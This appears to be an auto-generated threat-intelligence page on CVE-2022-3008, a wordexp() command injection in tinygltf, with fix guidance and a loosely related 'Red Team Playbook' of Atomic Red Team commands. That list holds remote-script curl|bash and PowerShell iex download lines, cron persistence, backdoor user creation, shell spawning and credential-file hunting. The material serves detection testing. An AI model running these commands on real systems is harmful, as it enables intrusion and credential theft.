CVE-2022-3008
Overview
This vulnerability is a command injection flaw arising from the use of the C library function wordexp() within the tinygltf library. The root cause lies in the unsafe expansion of file paths containing untrusted input, where wordexp() interprets backticks, enabling shell command execution. The affected component is the file path expansion mechanism in tinygltf’s input file processing functionality.
Vulnerability Description
The tinygltf library uses the C library function wordexp() to perform file path expansion on untrusted paths that are provided from the input file. This function allows for command injection by using backticks. An attacker could craft an untrusted path input that would result in a path expansion. We recommend upgrading to 2.6.0 or past commit 52ff00a38447f06a17eab1caa2cf0730a119c751
Impact
An attacker with the ability to supply or influence the input file path can execute arbitrary commands on the host system with the privileges of the process running tinygltf. This requires local or remote access to provide crafted input, with low attack complexity and no user interaction needed. The vulnerability can lead to unauthorized code execution and potential system compromise. According to the CVSS vector, it requires low privileges (PR:L) but no user interaction (UI:N) and impacts confidentiality and availability (C:H, A:H).
Solution
Users should upgrade tinygltf to version 2.6.0 or later, or apply the patch introduced in commit 52ff00a38447f06a17eab1caa2cf0730a119c751. The Debian security advisory DSA-5232 provides detailed patch instructions and guidance for affected Debian Linux 11.0 systems. Applying these updates or patches will mitigate the command injection vulnerability by removing the unsafe use of wordexp().
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the tinygltf library arises from its use of the C library function `wordexp()` to handle file path expansions based on untrusted input. This function is designed to expand file path strings, but when it processes input that has not been adequately sanitized, it opens the door to command injection attacks. Specifically, an attacker can craft malicious input that includes backticks, which are interpreted by the shell to execute arbitrary commands. This flaw allows for the execution of unintended commands on the host system, potentially leading to unauthorized access, data manipulation, or even complete system compromise.
Exploitation of this vulnerability can occur through various attack vectors. For example, an attacker might provide a specially crafted input file to an application that utilizes the tinygltf library for processing. If the application does not implement proper input validation or sanitization, the attacker can control the execution flow by injecting commands into the file path. This could be done in environments where the library is used for rendering graphics or processing 3D models, making it particularly relevant in gaming, simulation, or design software. The potential for exploitation is significant, as it can be executed remotely or locally, depending on how the application is deployed.
The real-world impact of this vulnerability is considerable, particularly for organizations that rely on the tinygltf library for their applications. The high CVSS score of 8.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences. For businesses, this could mean financial losses due to data breaches, loss of intellectual property, or damage to reputation. Furthermore, the implications extend beyond immediate financial harm; regulatory penalties may arise if sensitive data is compromised, and the trust of customers and partners could be irreparably damaged. In sectors such as gaming or design, where user engagement is paramount, the fallout from a successful attack could be particularly detrimental.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, upgrading to the latest version of the tinygltf library is essential, as it addresses the flaw and eliminates the potential for command injection. Additionally, implementing robust input validation and sanitization practices can help prevent similar vulnerabilities in the future. This includes rejecting or escaping any input that contains potentially dangerous characters, such as backticks. Regular security audits and code reviews should also be conducted to identify and address vulnerabilities proactively. Employing intrusion detection systems can further enhance security by monitoring for unusual activity that may indicate an attempted exploitation.
In conclusion, the vulnerability present in the tinygltf library represents a significant threat to applications that utilize this library for file path expansion. With the potential for command injection and the associated risks of unauthorized command execution, organizations must take immediate action to mitigate these threats. By upgrading to secure versions, implementing strict input validation, and maintaining vigilant security practices, businesses can protect themselves from the severe consequences that may arise from exploitation of this vulnerability. The proactive management of such risks is essential in today’s cybersecurity landscape, where the stakes are continually rising.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-3008, reflecting a growing likelihood of exploitation attempts in the near term. While no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the upward trend in EPSS suggests heightened attacker interest or improved exploitability conditions. This subtle shift underscores the need for defenders to maintain heightened vigilance, as the vulnerability’s potential for command injection remains a critical risk vector. The incremental rise in EPSS, coupled with its position near the upper percentile, signals that exploitation activity could accelerate, thereby elevating the overall threat level from moderate to a more pronounced concern within environments utilizing the affected tinygltf library versions.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tinygltf Project | Tinygltf | All |
cpe:2.3:a:tinygltf_project:tinygltf:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-3008 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/syoyo/tinygltf/commit/52ff00a38447f06a17eab1caa2cf0730a119c751 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/syoyo/tinygltf/issues/368 |
| bugs.chromium.org |
GitHub CVE
x_refsource_MISC
|
https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49053 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/syoyo/tinygltf/blob/master/README.md |
| debian.org |
GitHub CVE
vendor-advisory
x_refsource_DEBIAN
|
https://www.debian.org/security/2022/dsa-5232 |